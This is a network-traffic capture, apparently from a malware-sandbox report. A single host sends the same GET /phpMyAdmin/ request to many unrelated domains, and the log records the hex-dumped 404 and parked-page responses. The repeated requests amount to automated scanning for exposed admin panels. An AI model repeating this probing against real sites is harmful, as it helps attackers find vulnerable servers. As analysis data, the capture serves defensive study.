Dec 2, 2023 18:04:38.944711924 CET	1340	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Sat, 02 Dec 2023 17:04:27 GMT Content-Length: 1163 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e c4 fa d2 aa b2 e9 d5 d2 b5 c4 d7 ca d4 b4 bf c9 c4 dc d2 d1 b1 bb c9 be b3 fd a3 ac d2 d1 b8 fc b8 c4 c3 fb b3 c6 bb f2 d5 df d4 dd ca b1 b2 bb bf c9 d3 c3 a1 a3 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 6c 64 73 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - </h2> <h3></h3> </fields
Dec 2, 2023 18:04:38.944727898 CET	91	IN	Data Raw: 65 74 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: et></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.7	57225	81.68.211.71	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:39.075671911 CET	224	OUT	GET /phpmyadmin/ HTTP/1.1 Host: yekai.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:39.413013935 CET	1081	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 X-UA-Compatible: IE=edge,chrome=1 X-Powered-By: PbootCMS Set-Cookie: lg=cn; path=/ X-Powered-By: ASP.NET Date: Sat, 02 Dec 2023 17:04:38 GMT Content-Length: 766 Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e9 94 99 e8 af af e4 bf a1 e6 81 af 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 25 3b 22 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 63 6f 72 65 2f 74 65 6d 70 6c 61 74 65 2f 66 61 63 65 30 32 2e 70 6e 67 22 20 68 65 69 67 68 74 3d 22 31 32 30 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e e6 82 a8 e8 ae bf e9 97 ae e7 9a 84 e9 a1 b5 e9 9d a2 e4 b8 8d e5 ad 98 e5 9c a8 ef bc 8c e8 af b7 e6 a0 b8 e5 af b9 e5 90 8e e9 87 8d e8 af 95 ef bc 81 20 3c 73 70 61 6e 20 69 64 3d 22 74 69 6d 65 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 63 6f 6c 6f 72 3a 23 63 63 63 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 70 78 3b 22 3e 0a 20 20 20 09 09 e7 a8 8b e5 ba 8f e7 89 88 e6 9c ac ef bc 9a 33 2e 32 2e 35 2d 32 30 32 33 30 34 32 31 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html><head> <meta charset="utf-8"> <title></title> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=0" /><meta name="apple-mobile-web-app-capable" content="yes" /></head><body><div style="margin-left:10%;margin-top:5%;"> <div style="margin-bottom:20px;"><img src="/core/template/face02.png" height="120"></div> <div style="font-size:20px;margin-bottom:20px;"> <span id="time" style="font-size:18px;"></span></div> <div><span style="font-size:12px;border-top:1px solid #ccc;color:#ccc;padding-top:2px;"> 3.2.5-20230421 </span></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.7	57987	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:39.912126064 CET	229	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: furnscales.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:40.253483057 CET	1274	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:04:39 GMT Server: Apache Set-Cookie: vsid=934vr449082280023146255; expires=Thu, 30-Nov-2028 17:04:40 GMT; Max-Age=157680000; path=/; domain=furnscales.com; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_a8QgzWi36tGMfPYOa8UOx0xte0x9ZwkoWDZrqIVMBKqmAjjZFkdyWwOt9Px3qO7MLJ7zTa7DczG+ids7F/iLrQ== Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 62 30 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 6e 69 66 72 61 6d 65 20 3d 20 74 72 75 65 3b 20 69 66 28 21 22 67 64 70 72 41 70 70 6c 69 65 73 47 6c 6f 62 61 6c 6c 79 22 20 69 6e 20 77 69 6e 64 6f 77 29 7b 77 69 6e 64 6f 77 2e 67 64 70 72 41 70 70 6c 69 65 73 47 6c 6f 62 61 6c 6c 79 3d 74 72 75 65 7d 69 66 28 21 28 22 63 6d 70 5f 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3c 31 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3d 30 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 63 64 69 64 3d 22 32 31 66 64 63 61 32 32 38 31 38 33 33 22 7d 69 66 28 21 28 22 63 6d 70 5f 70 61 72 61 6d 73 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 70 61 72 61 6d 73 3d 22 22 7d 69 66 28 21 28 22 63 6d 70 5f 68 6f 73 74 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 68 6f 73 74 3d 22 61 2e 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 6e 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 63 64 6e 3d 22 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d Data Ascii: b09a<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net"> <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}if(!("cmp_id" in window)\|\|window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.cmp_cdid="21fdca2281833"}if(!("cmp_params" in window)){window.cmp_params=""}if(!("cmp_host" in window)){window.cmp_host="a.delivery.consentmanager.net"}if(!("cmp_cdn" in window)){window.cmp_cdn="cdn.consentm
Dec 2, 2023 18:04:40.253498077 CET	1274	IN	Data Raw: 61 6e 61 67 65 72 2e 6e 65 74 22 7d 69 66 28 21 28 22 63 6d 70 5f 70 72 6f 74 6f 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 70 72 6f 74 6f 3d 22 68 74 74 70 73 3a 22 7d 69 66 28 21 28 22 63 6d 70 5f 63 6f 64 65 73 Data Ascii: anager.net"}if(!("cmp_proto" in window)){window.cmp_proto="https:"}if(!("cmp_codesrc" in window)){window.cmp_codesrc="1"}window.cmp_getsupportedLangs=function(){var b=["DE","EN","FR","IT","NO","DA","FI","ES","PT","RO","BG","ET","EL","GA","HR",
Dec 2, 2023 18:04:40.253520012 CET	1274	IN	Data Raw: 70 70 65 72 43 61 73 65 28 29 29 7d 65 6c 73 65 7b 69 66 28 22 63 6d 70 5f 73 65 74 6c 61 6e 67 22 20 69 6e 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 65 74 6c 61 6e 67 21 3d 22 22 29 7b 63 2e 70 75 73 68 28 77 69 6e 64 6f 77 Data Ascii: pperCase())}else{if("cmp_setlang" in window&&window.cmp_setlang!=""){c.push(window.cmp_setlang.toUpperCase())}else{if(a.length>0){for(var d=0;d<a.length;d++){c.push(a[d])}}}}}if("language" in navigator){c.push(navigator.language)}if("userLangu
Dec 2, 2023 18:04:40.253715038 CET	1274	IN	Data Raw: 6b 3d 28 22 63 6d 70 5f 70 72 6f 74 6f 22 20 69 6e 20 68 29 3f 68 2e 63 6d 70 5f 70 72 6f 74 6f 3a 22 68 74 74 70 73 3a 22 3b 69 66 28 6b 21 3d 22 68 74 74 70 3a 22 26 26 6b 21 3d 22 68 74 74 70 73 3a 22 29 7b 6b 3d 22 68 74 74 70 73 3a 22 7d 76 Data Ascii: k=("cmp_proto" in h)?h.cmp_proto:"https:";if(k!="http:"&&k!="https:"){k="https:"}var g=("cmp_ref" in h)?h.cmp_ref:location.href;var j=u.createElement("script");j.setAttribute("data-cmp-ab","1");var c=x("cmpdesign","cmp_design" in h?h.cmp_desig
Dec 2, 2023 18:04:40.253732920 CET	1274	IN	Data Raw: 74 68 3d 3d 30 29 7b 74 3d 76 28 22 68 65 61 64 22 29 7d 69 66 28 74 2e 6c 65 6e 67 74 68 3e 30 29 7b 74 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6a 29 7d 7d 7d 76 61 72 20 6d 3d 22 6a 73 22 3b 76 61 72 20 70 3d 78 28 22 63 6d 70 64 65 62 Data Ascii: th==0){t=v("head")}if(t.length>0){t[0].appendChild(j)}}}var m="js";var p=x("cmpdebugunminimized","cmpdebugunminimized" in h?h.cmpdebugunminimized:0)>0?"":".min";var a=x("cmpdebugcoverage","cmp_debugcoverage" in h?h.cmp_debugcoverage:"");if(a==
Dec 2, 2023 18:04:40.253753901 CET	1274	IN	Data Raw: 65 6f 75 74 28 77 69 6e 64 6f 77 2e 63 6d 70 5f 61 64 64 46 72 61 6d 65 2c 31 30 2c 62 29 7d 7d 7d 3b 77 69 6e 64 6f 77 2e 63 6d 70 5f 72 63 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 62 3d 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3b Data Ascii: eout(window.cmp_addFrame,10,b)}}};window.cmp_rc=function(h){var b=document.cookie;var f="";var d=0;while(b!=""&&d<100){d++;while(b.substr(0,1)==" "){b=b.substr(1,b.length)}var g=b.substring(0,b.indexOf("="));if(b.indexOf(";")!=-1){var c=b.subs
Dec 2, 2023 18:04:40.253824949 CET	1274	IN	Data Raw: 70 73 74 75 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 61 72 67 75 6d 65 6e 74 73 3b 5f 5f 67 70 70 2e 71 3d 5f 5f 67 70 70 2e 71 7c 7c 5b 5d 3b 69 66 28 21 61 2e 6c 65 6e 67 74 68 29 7b 72 65 74 75 72 6e 20 5f 5f 67 70 70 2e 71 7d Data Ascii: pstub=function(){var a=arguments;__gpp.q=__gpp.q\|\|[];if(!a.length){return __gpp.q}var g=a[0];var f=a.length>1?a[1]:null;var e=a.length>2?a[2]:null;if(g==="ping"){return window.cmp_gpp_ping()}else{if(g==="addEventListener"){__gpp.e=__gpp.e\|\|[];
Dec 2, 2023 18:04:40.253842115 CET	1274	IN	Data Raw: 2c 73 75 63 63 65 73 73 3a 67 2c 63 61 6c 6c 49 64 3a 62 2e 63 61 6c 6c 49 64 7d 7d 3b 64 2e 73 6f 75 72 63 65 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 61 3f 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 29 3a 65 2c 22 2a 22 29 7d 29 7d 69 66 28 Data Ascii: ,success:g,callId:b.callId}};d.source.postMessage(a?JSON.stringify(e):e,"*")})}if(typeof(c)==="object"&&c!==null&&"__uspapiCall" in c){var b=c.__uspapiCall;window.__uspapi(b.command,b.version,function(h,g){var e={__uspapiReturn:{returnValue:h,
Dec 2, 2023 18:04:40.254331112 CET	1274	IN	Data Raw: 77 69 6e 64 6f 77 5b 61 5d 29 21 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 21 3d 3d 22 6f 62 6a 65 63 74 22 26 26 28 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 3d 3d 3d 22 75 6e 64 65 66 Data Ascii: window[a])!=="function"&&typeof(window[a])!=="object"&&(typeof(window[a])==="undefined"\|\|window[a]!==null))){window[a]=window.cmp_gppstub;window[a].msgHandler=window.cmp_msghandler;window.addEventListener("message",window.cmp_msghandler,false)
Dec 2, 2023 18:04:40.254348993 CET	1274	IN	Data Raw: 74 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 72 63 3d 22 68 74 74 70 3a 2f 2f 66 75 72 6e 73 63 61 6c 65 73 2e 63 6f 6d 2f 73 6b 2d 6c 6f 67 61 62 70 73 74 61 74 75 73 Data Ascii: t="0px";imglog.style.width="0px";imglog.src="http://furnscales.com/sk-logabpstatus.php?a=RW5KQ3pENHpVOUlCVy83bC9HNFBwb2MyNFVuYW5oWmJtZHdLb3RyNlBaRE1pZmh3NW1QZTB3WGt0L3JuWXhZcXRQYk5EdU9rYmhINDdqblV5UFY1Mi9ZVmtpbkxoS3ZwMnZGNlhHR2I4cXFDcjZDc0F2d3
Dec 2, 2023 18:04:40.360315084 CET	1274	IN	Data Raw: 5f 6d 65 64 69 61 5f 5f 2f 66 6f 6e 74 73 2f 6d 6f 6e 74 73 65 72 72 61 74 2d 72 65 67 75 6c 61 72 2f 6d 6f 6e 74 73 65 72 72 61 74 2d 72 65 67 75 6c 61 72 2e 77 6f 66 66 32 22 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 32 22 29 2c 75 72 6c 28 22 Data Ascii: _media__/fonts/montserrat-regular/montserrat-regular.woff2") format("woff2"),url("http://i4.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.ttf") format("truetype"),url("http://i4.cdn-image.com/__media__/fonts/montserrat-re

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.7	57971	218.20.227.130	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:40.093552113 CET	224	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: gztit.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:40.426554918 CET	1340	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Sat, 02 Dec 2023 17:04:28 GMT Content-Length: 1163 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 